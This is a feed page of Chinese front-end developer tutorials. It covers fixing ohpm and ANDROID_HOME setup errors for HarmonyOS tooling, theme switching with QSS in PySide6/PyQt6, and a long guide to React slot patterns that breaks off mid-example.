普通视图

发现新文章,点击刷新页面。
今天 — 2025年12月9日掘金 前端

安装ohpm报错ERROROR: node: command not found Failed to find the executable 'node'

作者 90后晨仔
2025年12月9日 13:12

这说明 ohpm 依赖 Node.js,但你的系统中没有安装 Node.js,或者 Node.js 没有正确加入 PATH

🔍 问题根源

ohpm(OpenHarmony Package Manager)是基于 Node.js 开发的命令行工具。
虽然 DevEco Studio 内置了 Node.js,但它不会自动将其暴露给系统终端
因此,当你在终端直接运行 ohpm 时,系统找不到 node 命令。


✅ 解决方案(推荐两种)

✅ 方案一:使用 Homebrew 安装 Node.js(推荐)

这是最简单、最通用的方法,适用于所有需要 Node.js 的场景(包括 ohpm、前端开发等)。

步骤 1:用 Homebrew 安装 Node.js

# 确保 Homebrew 已配置(你已有 eval $(brew shellenv))
brew install node

💡 这会同时安装 nodenpm,并自动加入 PATH。

步骤 2:验证安装

node -v   # 应输出版本,如 v20.18.0
npm -v    # 如 10.8.2

步骤 3:再次运行 ohpm

ohpm -v   # 现在应该正常工作!

优点:一劳永逸,后续任何 Node.js 工具都能用。


⚠️ 方案二:使用 DevEco Studio 内置的 Node.js(不推荐,但可行)

DevEco Studio 自带 Node.js,路径通常为:

/Applications/DevEco-Studio.app/Contents/tools/nodejs/bin/node

你可以临时将其加入 PATH:

步骤 1:编辑 ~/.zshrc

nano ~/.zshrc

步骤 2:在文件中添加:

# 使用 DevEco 内置 Node.js(仅当不想全局安装 Node 时使用)
export PATH="/Applications/DevEco-Studio.app/Contents/tools/nodejs/bin:$PATH"

🔔 注意:把这个 export 放在 ohpm 路径之前!

完整顺序建议:

# 先加 DevEco 内置 Node.js
export PATH="/Applications/DevEco-Studio.app/Contents/tools/nodejs/bin:$PATH"

# 再加 ohpm
export PATH="$PATH:/Applications/DevEco-Studio.app/Contents/tools/ohpm/bin"

步骤 3:重载配置

source ~/.zshrc

步骤 4:验证

which node        # 应指向 DevEco 内置路径
ohpm -v           # 应成功

❌ 缺点:

  • 版本固定,无法升级
  • 如果 DevEco 升级,路径可能变化
  • 其他项目可能需要不同 Node 版本

📌 强烈建议:选择 方案一(Homebrew 安装 Node.js)

原因:

  • 华为官方文档也推荐开发者自行安装 Node.js参考
  • DevEco Studio 的内置 Node 仅供 IDE 内部使用,不保证对外兼容性
  • 用 Homebrew 管理更灵活,可随时切换版本(配合 nvm

🔧 额外建议:检查 Node.js 版本兼容性

ohpm 通常要求 Node.js 16+ 或 18+
通过 Homebrew 安装的通常是 LTS 版本(如 20.x),完全兼容。

如果未来遇到版本问题,可用 nvm 管理多版本:

brew install nvm
nvm install 18
nvm use 18

✅ 最终验证

# 1. 检查 node
node -v

# 2. 检查 ohpm
ohpm -v

# 3. 尝试安装一个包(测试)
ohpm install @ohos/lottie --save

如果一切顺利,你的鸿蒙开发环境就完全 ready 了!

ANDROID_HOME not set. Set the environment variable. Then, close DevEco Studio an

作者 90后晨仔
2025年12月9日 12:45

这个错误提示说明你的系统环境变量中没有设置 ANDROID_HOME,而 DevEco Studio(华为的集成开发环境)在构建或运行项目时需要它来定位 Android SDK 的路径。

以下是设置 ANDROID_HOME 环境变量的方法,根据你的操作系统不同略有差异:


Windows 系统

  1. 找到你的 Android SDK 路径
    通常位于:

    C:\Users<你的用户名>\AppData\Local\Android\Sdk
    

    或者如果你是通过 DevEco 安装的,可能在:

    C:\Users<你的用户名>\AppData\Roaming\Huawei\DevEco Studio\sdk
    
  2. 设置环境变量

    • 右键“此电脑” → “属性” → “高级系统设置” → “环境变量”

    • 在“系统变量”区域,点击“新建”

      • 变量名:ANDROID_HOME
      • 变量值:你的 Android SDK 路径(例如 C:\Users\YourName\AppData\Local\Android\Sdk
    • 同时确保 Path 环境变量中包含:

      %ANDROID_HOME%\tools
      %ANDROID_HOME%\platform-tools
      
  3. 重启 DevEco Studio
    关闭后重新打开,让环境变量生效。


macOS / Linux

  1. 找到 Android SDK 路径
    常见路径如:

    ~/Library/Android/sdk          # macOS 默认
    ~/Android/Sdk                  # Linux 或自定义
    ~/.huawei/devcloud/sdk         # 华为 DevEco 可能使用的位置
    
  2. 编辑 shell 配置文件
    根据你使用的 shell(bash/zsh),编辑对应配置文件:

    # 如果是 zsh(macOS Catalina 及以后默认)
    nano ~/.zshrc
    
    # 如果是 bash
    nano ~/.bashrc
    
  3. 添加以下内容(替换为你的实际路径):

    export ANDROID_HOME=$HOME/Library/Android/sdk
    export PATH=$PATH:$ANDROID_HOME/tools:$ANDROID_HOME/platform-tools
    
  4. 使配置生效

    source ~/.zshrc    # 或 source ~/.bashrc
    
  5. 关闭并重新打开 DevEco Studio


🔍 验证是否设置成功

在终端(命令行)中执行:

echo $ANDROID_HOME

应输出你设置的 SDK 路径。


在PySide6/PyQt6的项目中实现样式切换处理

作者 伍华聪
2025年12月9日 12:19

在桌面应用开发中,“主题切换(深色 / 浅色模式)”已经不再是锦上添花的功能,而是逐渐成为一种用户刚需。尤其对于长时间使用的 ERP 工具类应用来说,良好的视觉舒适度对用户体验影响巨大。本篇随笔针对PySide6/PyQt6的项目的实现案例,介绍如何实现样式切换处理。

Qt 官方本身提供了 QStyle 体系,但如果想做到:

  • 可自定义配色
  • 可作为品牌皮肤
  • 可热切换(无需重启)
  • 多主题共存
  • 可持久化

那么,采用 QSS (Qt Style Sheet) + 统一主题管理器的方案无疑是目前最成熟、最实用、性价比最高的选择。

本文将从 原理 → 架构设计 → 实现方式 → 最佳实践 四个维度,完整介绍在 PySide6 / PyQt6 项目中如何构建一套“企业级主题切换系统”。

一、为什么不能简单地用 setStyle

很多初学者在做样式适配时,都会走入一个误区:

btn.setStyleSheet("background:red")
table.setStyleSheet("color:white")
...

这种写法短期“能用”,长期会带来三个严重问题:

  1. 样式分散,难维护

不同窗口、不同控件中的样式写法彼此独立,一个主题改动需要满项目搜索替换,很容易遗漏。


  1. 逻辑和表现混杂

UI 逻辑代码被大量 CSS 淹没,维护成本剧增,违反基本的架构解耦原则。


  1. 无法进行主题切换

没有分主题文件结构,一旦需要切换风格就必须“重写所有 setStyle”,几乎不可实现。


✅ 因此,如果项目规模超过 3 个界面,我们就必须放弃零散 setStyle 写法,转而使用 QSS 主题体系。

二、什么是 QSS?

Qt 中的 QSS (Qt Style Sheet)  本质和 CSS 非常类似,几乎可以视为 CSS 在 Qt 世界中的实现。

对 Qt 控件来说:

  • QWidget → HTML 标签
  • QPushButtonQTableView → CSS 选择器
  • background / border / padding / color → 样式属性

例如:

QPushButton {
    background: #3a3a3a;
    border-radius: 6px;
    color: white;
}

QSS 能做到:

  • 全局覆盖
  • 继承 & 层级作用
  • 精准控件控制
  • 即时加载刷新

我们希望做到:

业务代码永远不接触 CSS
主题由独立模块统一调度

project/
│
├── main.py
├── core/
│   └── theme_manager.py
└── themes/
    ├── light.qss
    └── dark.qss

通过 ThemeManager 将 UI 层与样式层完全隔离,可读性和可维护性大幅提升。

我们需要一个负责三件事的主题管理器统一类:

  • 读取主题文件
  • 调用 Qt API 应用主题
  • 记录并恢复用户选择

QSS 主题文件设计示例:以下是一个简化版本:

浅色主题

QWidget {
    background: #ffffff;
    color: #202020;
}

QPushButton {
    background: #e8e8e8;
    border-radius: 4px;
}

深色主题

QWidget {
    background: #2b2b2b;
    color: #f0f0f0;
}

QPushButton {
    background: #3a3a3a;
    color: #ffffff;
}

三、UI 中的使用方式

我们通过创建系统相关的菜单,如定义样式切换的菜单,然后绑定对应的菜单信号处理。

action_dark.triggered.connect(lambda: ThemeManager.apply("dark"))
action_light.triggered.connect(lambda: ThemeManager.apply("light"))

这样切换的时候,无需重启——Qt 会自动刷新全部控件。

通过样式管理器,实现不同主题演示的即时切换。

主题系统并不是简单的“换几个颜色”。

它是 UI 架构中不可忽视的一环:

  • 影响可维护性
  • 决定代码整洁度
  • 直接关系用户体验

在 PySide6 / PyQt6 中,

QSS + ThemeManager + 动态切换 + 持久化

这一套组合,几乎是目前最成熟可靠的主题实现方案,没有之一。

真正的统一UI的样式,包含 5 个维度:

维度 说明
色板统一 背景色、主色、强调色、警示色
字体统一 字体家族、字号梯度
控件形态 圆角、border、padding
交互动效 hover、press、disable
布局密度 表格行距、控件间距

四、具体在PySide6/PyQt6的项目中的实践过程

我们根据前面的介绍,在项目目录中创建两个不同主题样式的文件,如下所示。

image

然后根据样式的需要定义对应的相关内容,如下是浅色的主题定义,通过定义对应控件的颜色、字体、背景色等相关属性,实现统一的效果。

image

通过辅助类,我们创建几个菜单来实现不同样式的切换。

        theme_menu = menu_bar.addMenu("界面主题")
        light_action = ControlUtil.create_menu(
            self, theme_menu, "浅色主题", "info"
        )
        light_action.triggered.connect(lambda: self.set_theme(1))
        dark_action = ControlUtil.create_menu(
            self, theme_menu, "深色主题", "info"
        )
        dark_action.triggered.connect(lambda: self.set_theme(2))
        system_action = ControlUtil.create_menu(
            self, theme_menu, "初始主题", "info"
        )
        system_action.triggered.connect(lambda: self.set_theme(0))

菜单界面效果如下所示。

image

其中样式的信号处理,我们通过一个单件的样式总线对象来处理。

    def set_theme(self, theme_type):
        """设置主题颜色"""
        self.theme_type = theme_type
        # 切换主题颜色
        ThemeBus().set_theme_type(self.theme_type)

其中,我们对样式总线对象的变化进行信号绑定处理。

        #监听主题变化的事件
        ThemeBus().theme_type_changed.connect(self.on_theme_changed)

对主题样式的变化进行处理。

    def on_theme_changed(self, theme_type):
        """主题变化的事件处理"""
        
        theme_map = {
            1: "light",
            2: "dark",
            0: "" #不设置主题,默认使用系统主题
        } 
        theme_name = theme_map[self.theme_type]

        self.log.info(f"主题变化: {theme_type}{theme_name}")
        # 切换主题颜色
        ThemedHelper.apply(theme_type)

这个主题的辅助类,主要就是根据当前总线的样式值,加载对应的样式文件进行设置,如果为空,这还原为最初的默认样式。

class ThemedHelper:
    """控件主题辅助类"""
 
    @staticmethod
    def apply(theme_type: int = 0):
        """应用主题样式"""
        theme_name =  ""
        if theme_type == 1:
            theme_name= "light"
        elif theme_type == 2:
            theme_name= "dark" 
        else:
            theme_name = ""
            
        if not theme_name:
            qss = "" # 自动主题, 无需加载 qss 文件
        else:
            with open(f"app/themes/{theme_name}.qss", encoding="utf8") as f:
                qss = f.read()
        
        app : QApplication = QApplication.instance()
        if app:
            app.setStyle("Fusion")
            app.setStyleSheet(qss)

暗色主题的效果如下所示。

image

 如果不喜欢厚重的主题,我们也可以切换会原来的默认主题。

image

以上就是我们在定义不同主题,实现主题切换的过程,我们可以根据需要,定义更多有特色的主题样式,而具有统一效果的主题样式,我们可以通过AI的询问方式,获得完整的样式代码,从而构建个性化的效果。

React 插槽(Slot)完全指南:从基础到实战的灵活组件通信方案

作者 三小河
2025年12月9日 11:57

在组件化开发中,插槽(Slot)是实现组件内容分发与灵活扩展的核心技术。Vue、Angular 等框架原生支持插槽语法,而 React 虽未提供内置的 <slot> 标签,但通过 props、组件组合等原生能力,能实现更灵活、更强大的插槽效果。本文将系统拆解 React 插槽的实现方案,辨析常见用法的合理性,结合全新实例详解从基础到高级的应用场景,帮助开发者掌握组件复用与扩展的核心技巧。

一、React 插槽的核心原理与合理性辨析

React 插槽的本质是组件间的内容传递与渲染控制,核心依赖 React 的 children 属性、props 传递机制以及组件组合思想。在分析常见实现方案前,先明确核心原则:

  • 正确方向:利用 React 原生特性(children、props、Context 等)实现内容分发,不依赖非标准 API,保证组件复用性与可维护性;
  • 常见误区:过度封装复杂逻辑(如不必要的 Context 嵌套)、忽略性能优化(如每次渲染创建新组件)、混淆插槽与普通 props 的使用场景。

下面将通过「基础→进阶→高级」的顺序,详解各类插槽的正确实现方式,并补充全新实例说明。

二、基础插槽:children prop (默认插槽)

children 是 React 组件的内置 prop,用于接收组件标签包裹的所有内容,是实现「默认插槽」的最简方案,适用于无需分区的简单内容传递场景。

核心特性与正确用法

  • 自动接收组件包裹的所有节点(元素、文本、组件等);
  • 支持设置默认内容,处理无传入内容的边界情况;
  • 无需额外配置,原生支持,性能最优。
  • 实例 1:基础卡片组件(默认插槽)

// 子组件:基础卡片(支持默认内容)
function BasicCard({ children, className }) {
  // 边界处理:无传入内容时显示默认提示
  const defaultContent = <div className="card-default">暂无内容</div>;
  
  return (
    <div className={`card ${className || ''}`} style={{ 
      border: '1px solid #eee', 
      borderRadius: '8px', 
      padding: '20px', 
      maxWidth: '300px' 
    }}>
      {children || defaultContent}
    </div>
  );
}

// 父组件:使用卡片组件
function App() {
  return (
    <div style={{ display: 'flex', gap: '20px', padding: '20px' }}>
      {/* 传入自定义内容 */}
      <BasicCard className="user-card">
        <img 
          src="https://via.placeholder.com/80" 
          alt="用户头像" 
          style={{ borderRadius: '50%', marginBottom: '10px' }}
        />
        <h3 style={{ margin: '0 0 8px 0' }}>李华</h3>
        <p style={{ margin: '0', color: '#666' }}>前端开发工程师</p>
      </BasicCard>

      {/* 未传入内容(显示默认值) */}
      <BasicCard className="empty-card" />
    </div>
  );
}

实例 2:带条件渲染的默认插槽

// 子组件:通知组件(根据类型显示不同默认图标)
function Notification({ children, type = 'info' }) {
  // 根据类型生成默认图标
  const getDefaultIcon = () => {
    switch(type) {
      case 'success': return <span style={{ color: 'green' }}></span>;
      case 'error': return <span style={{ color: 'red' }}></span>;
      case 'warning': return <span style={{ color: 'orange' }}>⚠️</span>;
      default: return <span style={{ color: 'blue' }}>ℹ️</span>;
    }
  };

  return (
    <div style={{ 
      display: 'flex', 
      alignItems: 'center', 
      gap: '8px', 
      padding: '12px', 
      backgroundColor: '#f5f5f5', 
      borderRadius: '4px' 
    }}>
      {getDefaultIcon()}
      <div>{children}</div>
    </div>
  );
}

// 父组件使用
function App() {
  return (
    <div style={{ padding: '20px', display: 'flex', flexDirection: 'column', gap: '10px' }}>
      <Notification type="success">操作成功!</Notification>
      <Notification type="error">提交失败,请重试</Notification>
      <Notification>这是一条普通通知</Notification>
    </div>
  );
}

三、命名插槽:多区域内容精准分发

当组件需要划分多个固定区域(如头部、主体、底部)时,使用「命名插槽」实现精准内容分发。React 中无原生「命名插槽」语法,但通过「多 props 传递」或「children 对象」两种方案均可实现,适用于布局组件、复杂卡片等场景。

方案 1:多 props 传递(推荐,简洁直观)

通过不同名称的 props 接收不同区域的内容,是最常用的命名插槽实现方式,可读性强,易于维护。

实例:页面布局组件(头部、侧边栏、主体、底部)

// 子组件:布局组件(定义 4 个命名插槽)
function PageLayout({ header, sidebar, content, footer, isSidebarLeft = true }) {
  return (
    <div style={{ display: 'flex', flexDirection: 'column', minHeight: '100vh' }}>
      {/* 头部插槽 */}
      <header style={{ 
        backgroundColor: '#2c3e50', 
        color: 'white', 
        padding: '16px', 
        textAlign: 'center' 
      }}>
        {header}
      </header>

      {/* 主体+侧边栏容器 */}
      <div style={{ display: 'flex', flex: 1 }}>
        {/* 侧边栏插槽(支持左右切换) */}
        {isSidebarLeft && (
          <aside style={{ 
            width: '200px', 
            backgroundColor: '#ecf0f1', 
            padding: '16px', 
            borderRight: '1px solid #ddd' 
          }}>
            {sidebar}
          </aside>
        )}

        {/* 主体内容插槽 */}
        <main style={{ flex: 1, padding: '24px' }}>
          {content}
        </main>

        {!isSidebarLeft && (
          <aside style={{ 
            width: '200px', 
            backgroundColor: '#ecf0f1', 
            padding: '16px', 
            borderLeft: '1px solid #ddd' 
          }}>
            {sidebar}
          </aside>
        )}
      </div>

      {/* 底部插槽 */}
      <footer style={{ 
        backgroundColor: '#2c3e50', 
        color: 'white', 
        padding: '8px', 
        textAlign: 'center' 
      }}>
        {footer}
      </footer>
    </div>
  );
}

// 父组件使用
function App() {
  return (
    <PageLayout
      // 头部插槽内容
      header={<h1>我的博客</h1>}
      // 侧边栏插槽内容
      sidebar={
        <nav style={{ display: 'flex', flexDirection: 'column', gap: '12px' }}>
          <a href="/" style={{ color: '#333', textDecoration: 'none' }}>首页</a>
          <a href="/article" style={{ color: '#333', textDecoration: 'none' }}>文章列表</a>
          <a href="/about" style={{ color: '#333', textDecoration: 'none' }}>关于我</a>
        </nav>
      }
      // 主体插槽内容
      content={
        <div>
          <h2>React 插槽详解</h2>
          <p>本文介绍 React 中插槽的多种实现方式,帮助开发者灵活扩展组件...</p>
        </div>
      }
      // 底部插槽内容
      footer={<p>© 2025 我的博客 版权所有</p>}
      // 侧边栏在右侧
      isSidebarLeft={false}
    />
  );
}

方案 2:children 对象(模拟 Vue 具名插槽语法)

将 children 设计为对象,键名为插槽名称,键值为插槽内容,语法更接近 Vue 的具名插槽,适用于习惯 Vue 语法的开发者, 不推荐使用,不直观多此一举

实例:商品卡片组件(标题、描述、价格、操作区)

// 子组件:商品卡片(接收 children 对象作为命名插槽)
function ProductCard({ children, style }) {
  // 解构插槽内容,设置默认值
  const { 
    title = <h3>默认商品名称</h3>,
    description = <p>暂无商品描述</p>,
    price = <span style={{ color: 'red' }}>¥0.00</span>,
    action = <button>加入购物车</button>
  } = children || {};

  return (
    <div style={{ 
      border: '1px solid #eee', 
      borderRadius: '8px', 
      padding: '16px', 
      width: '280px',
      ...style
    }}>
      <div style={{ marginBottom: '12px' }}>{title}</div>
      <div style={{ marginBottom: '12px', color: '#666', fontSize: '14px' }}>{description}</div>
      <div style={{ marginBottom: '16px', fontSize: '18px', fontWeight: 'bold' }}>{price}</div>
      <div style={{ textAlign: 'center' }}>{action}</div>
    </div>
  );
}

// 父组件使用
function App() {
  return (
    <div style={{ display: 'flex', gap: '20px', padding: '20px' }}>
      <ProductCard>
        {{
          title: <h3 style={{ margin: '0' }}>无线蓝牙耳机</h3>,
          description: <p style={{ margin: '0' }}>降噪功能 | 续航24小时 | 防水防汗</p>,
          price: <span style={{ color: 'red' }}>¥399.00</span>,
          action: (
            <div style={{ display: 'flex', gap: '8px', justifyContent: 'center' }}>
              <button style={{ padding: '6px 12px', backgroundColor: '#42b983', color: 'white', border: 'none', borderRadius: '4px' }}>
                加入购物车
              </button>
              <button style={{ padding: '6px 12px', backgroundColor: '#fff', color: '#42b983', border: '1px solid #42b983', borderRadius: '4px' }}>
                立即购买
              </button>
            </div>
          )
        }}
      </ProductCard>

      <ProductCard>
        {{
          title: <h3 style={{ margin: '0' }}>智能手表</h3>,
          price: <span style={{ color: 'red' }}>¥899.00</span>
          // 未传入 description 和 action,使用默认值
        }}
      </ProductCard>
    </div>
  );
}

四、作用域插槽:子组件向父组件传递数据

作用域插槽(Scoped Slot)的核心是「子组件提供数据,父组件决定如何渲染」,适用于子组件持有数据但渲染逻辑需灵活定制的场景(如列表渲染、数据展示格式化)。React 中通过「render props」或「函数作为 children」实现,两者本质一致,均是将数据通过函数参数传递给父组件。

方案 1:函数作为 children(更简洁,推荐)

直接将 children 设计为函数,子组件调用该函数时传入数据,父组件通过函数参数接收数据并渲染。

实例:用户列表组件(子组件提供用户数据,父组件定制渲染)

// 子组件:用户列表(提供数据,暴露给父组件渲染)
function UserList({ data, children }) {
  if (!data || data.length === 0) {
    return <div style={{ padding: '20px', textAlign: 'center', color: '#666' }}>暂无用户数据</div>;
  }

  return (
    <div style={{ border: '1px solid #eee', borderRadius: '8px', overflow: 'hidden' }}>
      {data.map((user, index) => (
        // 调用 children 函数,传递用户数据和索引
        <div 
          key={user.id} 
          style={{ 
            padding: '16px', 
            borderBottom: index < data.length - 1 ? '1px solid #eee' : 'none',
            backgroundColor: index % 2 === 0 ? '#fff' : '#f9f9f9'
          }}
        >
          {children(user, index)}
        </div>
      ))}
    </div>
  );
}

// 父组件使用:定制不同的渲染逻辑
function App() {
  // 模拟用户数据
  const userData = [    { id: 1, name: '张三', age: 28, role: '管理员', avatar: 'https://via.placeholder.com/40' },    { id: 2, name: '李四', age: 24, role: '普通用户', avatar: 'https://via.placeholder.com/40' },    { id: 3, name: '王五', age: 32, role: 'VIP用户', avatar: 'https://via.placeholder.com/40' }  ];

  return (
    <div style={{ padding: '20px', display: 'flex', gap: '20px' }}>
      {/* 渲染方式 1:简洁卡片式 */}
      <UserList data={userData}>
        {(user) => (
          <div style={{ display: 'flex', alignItems: 'center', gap: '12px' }}>
            <img src={user.avatar} alt={user.name} style={{ borderRadius: '50%' }} />
            <div>
              <div style={{ fontWeight: 'bold' }}>{user.name}</div>
              <div style={{ fontSize: '12px', color: '#666' }}>{user.role}</div>
            </div>
          </div>
        )}
      </UserList>

      {/* 渲染方式 2:详细信息式 */}
      <UserList data={userData}>
        {(user, index) => (
          <div>
            <div style={{ display: 'flex', alignItems: 'center', gap: '8px', marginBottom: '8px' }}>
              <span style={{ backgroundColor: '#42b983', color: 'white', padding: '2px 8px', borderRadius: '12px', fontSize: '12px' }}>
                {index + 1}
              </span>
              <h4 style={{ margin: '0' }}>{user.name}</h4>
            </div>
            <div style={{ fontSize: '14px', color: '#666' }}>年龄:{user.age}岁</div>
            <div style={{ fontSize: '14px', color: '#666' }}>身份:{user.role}</div>
          </div>
        )}
      </UserList>
    </div>
  );
}

方案 2:render props(显式声明渲染函数)

通过专门的 props(如 renderItem)传递渲染函数,语义更明确,适用于需要多个渲染函数的复杂组件。

实例:数据表格组件(支持表头和行渲染定制)

// 子组件:数据表格(通过 render props 暴露表头和行数据)
function DataTable({ columns, data, renderHeader, renderRow }) {
  return (
    <table style={{ width: '100%', borderCollapse: 'collapse', border: '1px solid #eee' }}>
      {/* 表头渲染:调用 renderHeader 传递列配置 */}
      <thead>
        <tr style={{ backgroundColor: '#f5f5f5' }}>
          {columns.map((col) => (
            <<th key={col.key} style={{ padding: '12px', border: '1px solid #eee', textAlign: 'left' }}>
              {renderHeader(col)}
            </</th>
          ))}
        </tr>
      </thead>
      {/* 表体渲染:调用 renderRow 传递行数据 */}
      <tbody>
        {data.map((row) => (
          <tr key={row.id} style={{ backgroundColor: '#fff' }}>
            {columns.map((col) => (
              <td key={col.key} style={{ padding: '12px', border: '1px solid #eee' }}>
                {renderRow(row, col)}
              </td>
            ))}
          </tr>
        ))}
      </tbody>
    </table>
  );
}

// 父组件使用
function App() {
  const tableColumns = [    { key: 'name', label: '商品名称' },    { key: 'price', label: '价格' },    { key: 'stock', label: '库存' },    { key: 'action', label: '操作' }  ];

  const tableData = [    { id: 1, name: '无线鼠标', price: 99, stock: 120 },    { id: 2, name: '机械键盘', price: 299, stock: 86 },    { id: 3, name: '显示器', price: 1299, stock: 34 }  ];

  return (
    <div style={{ padding: '20px' }}>
      <DataTable
        columns={tableColumns}
        data={tableData}
        // 定制表头渲染(添加图标)
        renderHeader={(col) => (
          <div style={{ display: 'flex', alignItems: 'center', gap: '6px' }}>
            <span>📋</span>
            {col.label}
          </div>
        )}
        // 定制行渲染(价格高亮、库存状态显示)
        renderRow={(row, col) => {
          switch (col.key) {
            case 'price':
              return <span style={{ color: 'red', fontWeight: 'bold' }}>¥{row.price}</span>;
            case 'stock':
              return row.stock > 50 ? (
                <span style={{ color: 'green' }}>充足</span>
              ) : (
                <span style={{ color: 'orange' }}>紧张</span>
              );
            case 'action':
              return (
                <button style={{ padding: '4px 8px', backgroundColor: '#42b983', color: 'white', border: 'none', borderRadius: '4px' }}>
                  编辑
                </button>
              );
            default:
              return row[col.key];
          }
        }}
      />
    </div>
  );
}

五、高级插槽:组件组合 + Context

对于复杂组件(如弹窗、表单),需要多个分散的插槽且插槽内容可能嵌套较深时,可通过「专用插槽组件 + Context」实现,适用于大型组件库开发。

核心思路

  1. 定义容器组件(如 Modal),创建 Context 用于传递插槽注册函数;
  2. 定义专用插槽组件(如 ModalHeaderModalBody),通过 Context 注册自身内容到容器组件;
  3. 容器组件收集所有插槽内容,按固定结构渲染。

实例:多功能弹窗组件(支持头部、主体、底部、右上角插槽)

import { createContext, useContext, useState, useEffect } from 'react';

// 1. 创建 Context 用于传递插槽注册函数
const ModalContext = createContext(null);

// 2. 定义容器组件:Modal
function Modal({ isOpen, onClose, children }) {
  // 存储所有插槽内容
  const [slots, setSlots] = useState({
    header: null,
    body: null,
    footer: null,
    closeBtn: <button onClick={onClose} style={{ background: 'none', border: 'none', fontSize: '18px', cursor: 'pointer' }}>×</button>
  });

  // 注册插槽的函数:接收插槽名称和内容,合并到 slots 中
  const registerSlot = (name, content) => {
    setSlots(prev => ({ ...prev, [name]: content }));
  };

  // 未打开时不渲染
  if (!isOpen) return null;

  return (
    // 提供 Context,让子插槽组件能访问 registerSlot
    <ModalContext.Provider value={{ registerSlot }}>
      {/* 遮罩层 */}
      <div style={{ 
        position: 'fixed', 
        top: 0, 
        left: 0, 
        right: 0, 
        bottom: 0, 
        backgroundColor: 'rgba(0,0,0,0.5)', 
        display: 'flex', 
        alignItems: 'center', 
        justifyContent: 'center' 
      }} onClick={onClose}>
        {/* 弹窗容器 */}
        <div style={{ 
          backgroundColor: '#fff', 
          borderRadius: '8px', 
          width: '500px', 
          maxWidth: '90vw', 
          position: 'relative',
          onClick: (e) => e.stopPropagation() // 阻止冒泡关闭弹窗
        }}>
          {/* 右上角插槽(默认关闭按钮) */}
          <div style={{ position: 'absolute', top: '16px', right: '16px' }}>
            {slots.closeBtn}
          </div>

          {/* 头部插槽 */}
          {slots.header && (
            <div style={{ padding: '16px 24px', borderBottom: '1px solid #eee' }}>
              {slots.header}
            </div>
          )}

          {/* 主体插槽 */}
          <div style={{ padding: '24px' }}>
            {slots.body || children} {/* 兼容默认插槽 */}
          </div>

          {/* 底部插槽 */}
          {slots.footer && (
            <div style={{ padding: '16px 24px', borderTop: '1px solid #eee', textAlign: 'right' }}>
              {slots.footer}
            </div>
          )}
        </div>
      </div>
    </ModalContext.Provider>
  );
}

// 3. 定义专用插槽组件
function ModalHeader({ children }) {
  const { registerSlot } = useContext(ModalContext);

  // 组件挂载时注册插槽,卸载时清除
  useEffect(() => {
    registerSlot('header', children);
    return () => registerSlot('header', null);
  }, [children, registerSlot]);

  return null; // 自身不渲染,仅注册内容
}

function ModalBody({ children }) {
  const { registerSlot } = useContext(ModalContext);

  useEffect(() => {
    registerSlot('body', children);
    return () => registerSlot('body', null);
  }, [children, registerSlot]);

  return null;
}

function ModalFooter({ children }) {
  const { registerSlot } = useContext(ModalContext);

  useEffect(() => {
    registerSlot('footer', children);
    return () => registerSlot('footer', null);
  }, [children, registerSlot]);

  return null;
}

function ModalCloseBtn({ children }) {
  const { registerSlot } = useContext(ModalContext);

  useEffect(() => {
    registerSlot('closeBtn', children);
    return () => registerSlot('closeBtn', null);
  }, [children, registerSlot]);

  return null;
}

// 4. 父组件使用
function App() {
  const [isModalOpen, setIsModalOpen] = useState(false);

  return (
    <div style={{ padding: '20px' }}>
      <button 
        onClick={() => setIsModalOpen(true)}
        style={{ padding: '8px 16px', backgroundColor: '#42b983', color: 'white', border: 'none', borderRadius: '4px', cursor: 'pointer' }}
      >
        打开弹窗
      </button>

      <Modal isOpen={isModalOpen} onClose={() => setIsModalOpen(false)}>
        {/* 专用插槽组件 */}
        <ModalHeader>
          <h2 style={{ margin: '0', fontSize: '18px' }}>修改个人信息</h2>
        </ModalHeader>

        <ModalBody>
          <div style={{ display: 'flex', flexDirection: 'column', gap: '16px' }}>
            <div>
              <label style={{ display: 'block', marginBottom: '4px', fontSize: '14px' }}>姓名</label>
              <input 
                type="text" 
                defaultValue="张三"
                style={{ width: '100%', padding: '8px', border: '1px solid #ddd', borderRadius: '4px' }}
              />
            </div>
            <div>
              <label style={{ display: 'block', marginBottom: '4px', fontSize: '14px' }}>邮箱</label>
              <input 
                type="email" 
                defaultValue="zhangsan@example.com"
                style={{ width: '100%', padding: '8px', border: '1px solid #ddd', borderRadius: '4px' }}
              />
            </div>
          </div>
        </ModalBody>

        <ModalFooter>
          <div style={{ display: 'flex', gap: '8px', justifyContent: 'flex-end' }}>
            <button 
              onClick={() => setIsModalOpen(false)}
              style={{ padding: '8px 16px', backgroundColor: '#fff', color: '#333', border: '1px solid #ddd', borderRadius: '4px' }}
            >
              取消
            </button>
            <button 
              style={{ padding: '8px 16px', backgroundColor: '#42b983', color: 'white', border: 'none', borderRadius: '4px' }}
            >
              保存修改
            </button>
          </div>
        </ModalFooter>

        <ModalCloseBtn>
          <button 
            onClick={() => setIsModalOpen(false)}
            style={{ background: 'none', border: 'none', fontSize: '18px', cursor: 'pointer', color: '#666' }}
          >
            关闭
          </button>
        </ModalCloseBtn>
      </Modal>
    </div>
  );
}

六、第三方库辅助:react-slot(简化命名插槽)

如果项目中需要大量使用命名插槽,可借助第三方库 react-slot 简化代码,其提供了 <Slot> 和 <Fill> 组件,语法更接近原生插槽,适用于追求简洁语法的场景。

用法示例:导航栏组件

jsx

// 1. 安装依赖
// npm install react-slot

// 2. 导入组件
import { Slot, Fill } from 'react-slot';

// 3. 子组件:导航栏(定义插槽)
function Navbar() {
  return (
    <nav style={{ 
      backgroundColor: '#2c3e50', 
      padding: '16px 24px', 
      display: 'flex', 
      justifyContent: 'space-between', 
      alignItems: 'center' 
    }}>
      {/* 左侧插槽 */}
      <div style={{ display: 'flex', alignItems: 'center' }}>
        <Slot name="logo" />
      </div>

      {/* 中间插槽 */}
      <div style={{ display: 'flex', gap: '24px' }}>
        <Slot name="menu" />
      </div>

      {/* 右侧插槽 */}
      <div style={{ display: 'flex', alignItems: 'center' }}>
        <Slot name="user" />
      </div>
    </nav>
  );
}

// 4. 父组件使用:填充插槽
function App() {
  return (
    <Navbar>
      {/* 填充 logo 插槽 */}
      <Fill name="logo">
        <h1 style={{ margin: '0', color: 'white', fontSize: '20px' }}>Logo</h1>
      </Fill>

      {/* 填充 menu 插槽 */}
      <Fill name="menu">
        <a href="/" style={{ color: 'white', textDecoration: 'none' }}>首页</a>
        <a href="/products" style={{ color: 'white', textDecoration: 'none' }}>产品</a>
        <a href="/contact" style={{ color: 'white', textDecoration: 'none' }}>联系我们</a>
      </Fill>

      {/* 填充 user 插槽 */}
      <Fill name="user">
        <button style={{ 
          padding: '6px 12px', 
          backgroundColor: '#42b983', 
          color: 'white', 
          border: 'none', 
          borderRadius: '4px' 
